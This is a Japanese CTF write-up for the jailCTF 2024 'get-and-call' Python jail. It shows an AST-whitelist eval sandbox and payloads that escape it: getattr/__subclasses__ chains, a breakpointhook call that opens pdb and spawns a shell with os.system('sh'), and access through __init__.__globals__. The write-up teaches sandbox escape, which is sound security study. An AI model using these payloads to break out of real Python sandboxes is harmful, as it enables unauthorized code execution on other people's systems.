jailCTF 2024 - get-and-call
Challenge
getattr と関数呼び出しのみ許可された環境。
import ast
code = input()tree = ast.parse(code, mode='eval')
# 許可するノードタイプallowed = {ast.Expression, ast.Call, ast.Attribute, ast.Name, ast.Load}
for node in ast.walk(tree): if type(node) not in allowed: print("Forbidden!") exit()
result = eval(code)Solution
getattr チェーン
属性アクセスと関数呼び出しのみで RCE を達成:
# __class__ → __bases__ → __subclasses__ チェーンgetattr(getattr(getattr(getattr((), '__class__'), '__bases__'), '__getitem__')(0), '__subclasses__')()breakpointhook の利用
# sys.breakpointhook を呼び出して pdb を起動getattr(getattr(__import__('sys'), 'breakpointhook'), '__call__')()pdb 内から:
(Pdb) import os; os.system('sh')init.globals 経由
getattr(getattr(getattr(getattr(getattr(getattr((), '__class__'), '__bases__'), '__getitem__')(0), '__subclasses__')(), '__getitem__')(INDEX), '__init__')INDEX は _wrap_close などの危険なクラスのインデックス。
Technical Details
AST ベースのフィルタは特定のノードタイプのみを許可:
ast.Call- 関数呼び出しf()ast.Attribute- 属性アクセスx.yast.Name- 名前参照x
これらを組み合わせることで、リスト添字 [0] は使えないが、__getitem__(0) は使える。
Flag
jail{...}
References
- jailCTF 2024 Official
- Python ast module documentation